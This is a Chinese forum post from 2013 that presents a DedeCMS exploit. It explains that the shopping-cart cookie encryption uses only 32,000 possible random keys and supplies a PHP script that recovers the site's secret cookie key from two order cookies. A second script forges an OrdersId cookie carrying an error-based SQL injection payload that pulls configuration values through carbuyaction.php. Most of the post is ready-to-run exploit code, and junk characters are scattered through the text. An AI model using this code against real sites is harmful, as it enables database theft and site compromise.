找回密码
 立即注册
查看: 2447|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=
5 E4 S+ n$ Z$ }. [( B* d8 f在 include/shopcar.class.php中
3 Q: d+ W  s& E* F5 l& [2 }7 e2 H先看一下这个shopcar类是如何生成cookie的7 L1 U1 f: _) I& T  ^
239      function saveCookie($key,$value)
( ]9 ]0 j9 `) y) Z6 o- Y9 {. q240      {
" F/ P6 X9 u. D241          if(is_array($value))( S/ o! b8 T0 M  s
242          {+ l1 j7 }2 ]7 H/ c3 c# M, t- y
243              $value = $this->enCrypt($this->enCode($value));% l0 a0 f3 P' E- Q
244          }
( I1 a$ |/ X( k245          else
4 B% c- q2 |6 r( Z246          {
& {6 F7 L$ ^* P4 q/ e247              $value = $this->enCrypt($value);
# |' _: X1 s5 O  ~248          }4 _* ?! b1 a! s, V
249          setcookie($key,$value,time()+36000,’/');+ k# n9 W! n, {  W9 p
250      }
7 a1 C4 F. A9 q简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数: `+ G1 t7 Q6 H9 u
186      function enCrypt($txt)! b" e! R1 z! j- D
187      {
8 J: H/ I. M' q188          srand((double)microtime() * 1000000);
( f0 a" w  ]' M) r5 f2 t3 |189          $encrypt_key = md5(rand(0, 32000));
" ]) F& I7 L, b% P. \4 `190          $ctr = 0;
# w/ y+ E! S; ], V191          $tmp = ”;+ g7 m5 @! d9 ?% u% S( M& z
192          for($i = 0; $i < strlen($txt); $i++)5 k8 W) A) |+ e2 W8 v, d6 `, M
193          {$ g, a/ P( S7 y
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;: ~6 l! U$ N  c2 Q8 n
195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
9 h+ `; M* ?# k/ b! q196          }9 q) Q8 Q4 A8 ^9 p8 l  k9 L
197          return base64_encode($this->setKey($tmp));0 s, X- n' n7 o
198      }! n+ ]# Z6 ?8 E
213      function setKey($txt)
: k. r9 y- V* e' h214      {
, L- E" }1 s5 M- o5 h. _( I215          global $cfg_cookie_encode;5 D2 O7 m( c' U2 l  t& m
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));! z' N- A# f( Z- v6 H
217          $ctr = 0;
  s+ E* B9 g  r, K/ S- O218          $tmp = ”;
* [+ F( k- d4 O% `9 u  J  y219          for($i = 0; $i < strlen($txt); $i++)
" }6 l% U. ?4 H" \- G220          {
6 h* d: w+ h* {9 I% ~221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
+ g4 v$ W- [5 l$ B222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];& f( ~( `0 a9 x( D$ B
223          }
0 _8 {& z" c3 @( O( o224          return $tmp;
$ {. f- U1 H5 Z225      }, Y. X. @4 |9 B/ b# i
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的% ^- k8 D  Z$ e+ B# C
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。4 E1 z5 i. L/ u
具体代码如下:
$ I- x( e2 Y$ K# D<?php
, S4 ?5 V& i/ |) ?, d$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
; d) Y. l7 {8 M( E. r. u) o$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here; s2 N$ }: Y' Y
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
) ~: F/ p8 [% Z. a" \function reStrCode($code,$string)8 r$ H0 k" V  J
{# W: p( ]2 ]: d
$code = base64_decode($code);5 t! ~' ]0 m* J- H4 M2 Q% f$ E
$key = “”;
# Z) w: J! x. Q8 |4 @for($i=0 ; $i<32 ; $i++)" ^6 k6 R: u& L; m8 p! ?4 f% O
{1 s: D' U0 t$ R7 r
$key .= $string[$i] ^ $code[$i];
& V- v* y* T9 ?+ a# P9 G" G9 C, N}; b) \3 P. l& z- i' I9 H
return $key;
3 i4 z6 m  y4 H0 s: I}
4 j# |% J* d4 X& y0 R+ j5 Ffunction getKeys($cookie,$plantxt)
$ b5 w% \  k$ Q, k$ R# W{. T6 U9 I/ a6 }6 ^  x1 |4 n- |: d1 I
$tmp = $cookie;% `& E- o' Y6 e9 Q7 R
$results = array();" r9 r/ c( s6 u7 m2 }" n, k7 e; L1 M
for($j=0 ; $j < 32000; $j++)& U9 u- {' |. t% c7 n: u
{
1 y# o# u; j) V" s% K+ |& m
& |! {3 w. `- Y: R) P+ J" [$txt = $plantxt;
9 K* R. ?' @# `* h. G$ctr = 0;# `; S+ s( g: D" y  W6 b: x
$tmp = ”;, Z9 P5 n" Y5 @+ Y) H3 ^- m
$encrypt_key = md5($j);6 a" U9 `/ c8 p
for($i =0; $i < strlen($txt); $i ++)
: o) `! [: X5 u2 s- }; N4 W{& N  }1 D# c( l6 T% b5 N
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;: \# y, ?5 W. i% w4 w5 Y& D
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);6 H, r/ A7 X2 g; B
}
$ f2 j2 }0 b1 ~$string = $tmp;% G- F4 K' v: H7 D
$code = $cookie;
4 C$ n1 X, G# A  v$result = reStrCode($code,$string);
2 y+ S* A% w. H$ qif(eregi(‘^[a-z0-9]+$’,$result))
2 ?% `7 K) R$ d# O: b* R{! l6 U% ]. F2 G
echo $result.”\n”;' A* |3 b5 T6 a! l. s9 k% x' N
$results[] = $result;7 w" w2 ^+ p8 H% `( @$ @2 Y
}
6 v7 V( f) x2 ~4 ]}
- G1 p. B( S: p! A5 F" M3 Treturn $results;
+ V2 x' O% h5 u* J) G5 t3 w9 ]}
" a( @9 W; }2 C3 q$results1 = getKeys($cookie1,$plantxt);
5 a  U8 m9 Y& h% F& ~" ]  A$results2 = getKeys($cookie2,$plantxt);3 J% t# X* H" E. g4 E' K& ?
print “\n——————–real key————————–\n”;( [3 r; r2 T) F: E
foreach($results1 as $test1)
  n* N$ E4 v' N! t3 k2 _{
! `; A' W4 ^3 T$ {* U* ^$ cforeach($results2 as $test2)
# j- I- @2 b- ^9 ~1 z{$ P2 K: j! X$ m' Z+ H( L
if($test1 == $test2)5 M) F( \% D. X3 y5 d) C
{; Z5 b* n/ [  ~2 K
echo $test1.”\n”;  i9 G, Z' A3 Y2 L3 |
}- ~3 i+ c# N# [; x- ?
}% n3 w: B8 }+ }/ ~
}6 p% ~$ U, t; ~: P  m0 i  i
?>. A7 k8 T9 w( q8 o0 p" M
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,* Y/ }3 E6 o" v' a& T) l' W  T1 j
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1, F; i1 u0 r9 Q! d# ~
然后推算出md5(strtolower($cfg_cookie_encode))6 l6 i( B9 h8 Z+ p
得到这个key之后,我们就可以构造任意购物车的cookie" v1 R' Y9 U8 }- k. `9 S* r$ L& C
接着看
- q0 }3 p" Z& ]7 \20  class MemberShops
. F* S% s5 s! f  S% ~21  {0 i1 d- E% |) R
22      var $OrdersId;* U; F2 }' M2 b" c
23      var $productsId;3 X% A  `9 t( [$ X" f- K3 ?1 l
24: A( P1 P% b# a( E
25      function __construct()0 {- v/ f' t: Z! Q, i6 m
26      {
0 F  M; d$ S& X& j! P6 M27          $this->OrdersId = $this->getCookie(“OrdersId”);! U2 G0 B, W( ~5 H+ y7 L$ k* G( t
28          if(empty($this->OrdersId))& c4 U6 b+ W6 U' D) }
29          {
$ H. N* H: q1 _& ~: A: @/ s30              $this->OrdersId = $this->MakeOrders();
% q+ [7 }( P& F) j$ F) }2 C. `1 A31          }
0 j: Q5 k0 Q9 I- C0 S% X1 \  o32      }* U* h+ e3 ?8 ?" Y
发现OrderId是从cookie里面获取的
5 t, G5 X4 T: `9 P8 j7 D2 l然后+ h; G3 B+ n% s$ E0 ^. H
/plus/carbuyaction.php中的
+ x9 R1 Q5 Y, m29      $cart    = new MemberShops();
) {7 ]) i  ^. A" n  b39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
3 G+ Z9 k9 S- O, ^- {6 O  {+ b……
$ u/ W5 L. E# `# Q. z7 J) _5 R$ ]173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);; O, o9 g- I+ }' x8 @# _" [0 g. u
接着我们就可以注入了& J; R, K( b: k: S  ^# p
通过利用下面代码生成cookie:
4 d4 D' I. a' r" S5 M) M& y* f<?php1 N6 {# b2 h- m7 O
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
3 v) v8 f8 ]0 l* E0 J3 H$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here
% {3 N9 @* N. a* \5 q# f7 Gfunction setKey($txt)6 T& }, Z6 F) u+ L. F
{& f+ t; v% Y5 [3 M& \
global $encrypt_key;
# g# e: \% }4 O3 H$ctr = 0;+ i: C1 L% U( r; O! s
$tmp = ”;- _. z# J9 p- `
for($i = 0; $i < strlen($txt); $i++)
5 |/ W0 Y2 g& B/ t; D{
3 B7 _% o6 Y( Y" p+ D+ T$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;8 M/ j) _: P, \( g
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];' |9 S8 K4 u" R
}, {3 i- O+ |* M" ^9 e+ J
return $tmp;2 z! o) e! K6 ~8 |1 C) t
}; W/ h5 i) \* P2 g8 X* I$ s
function enCrypt($txt)
7 u! G2 G; }- K* g( z" I{. A6 K( [8 e* Z2 ^* h  i6 @
srand((double)microtime() * 1000000);
2 e9 z4 S) N$ ?" I$encrypt_key = md5(rand(0, 32000));
$ g4 U( }# `4 I' o! D& Z$ctr = 0;9 J! e8 P" I  m# B8 U+ H7 _
$tmp = ”;% \1 D! z1 }9 ~! B. T' \: z/ v, ~$ Z
for($i = 0; $i < strlen($txt); $i++)
8 o% I2 l3 k" p+ G{  c6 H* J% P8 r
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
* S# y" i: m) o, Y3 q4 [+ L+ _$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
3 U6 n  h( K  ^. Y}
7 Q) V9 q/ F8 n* mreturn base64_encode(setKey($tmp));4 m2 [: R$ {) @7 W
}; Q  F7 K% \# u: z
for($dest =0;$dest = enCrypt($txt);)
4 [4 k' G; v, {' L" c! V( Y1 o{. C) @$ }9 Z& [2 t" H
if(!strpos($dest,’+')); J( }2 n; ?8 x* U# S: p, l8 a4 A7 N
{* E7 D, w" Y) q; n( a
break;# {3 k, M0 Q% Z" Z
}
; z  G& n$ v, [4 @% R5 r% n  Q* y1 r}8 T8 l+ m+ t& Z4 s+ e2 }3 I1 w
echo $dest.”\n”;3 p( O: K: b! ~* b2 Y2 n
?>
# i/ P& f* c5 {* a# I6 Y) w# Y1 x) Q; x" w/ i$ B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表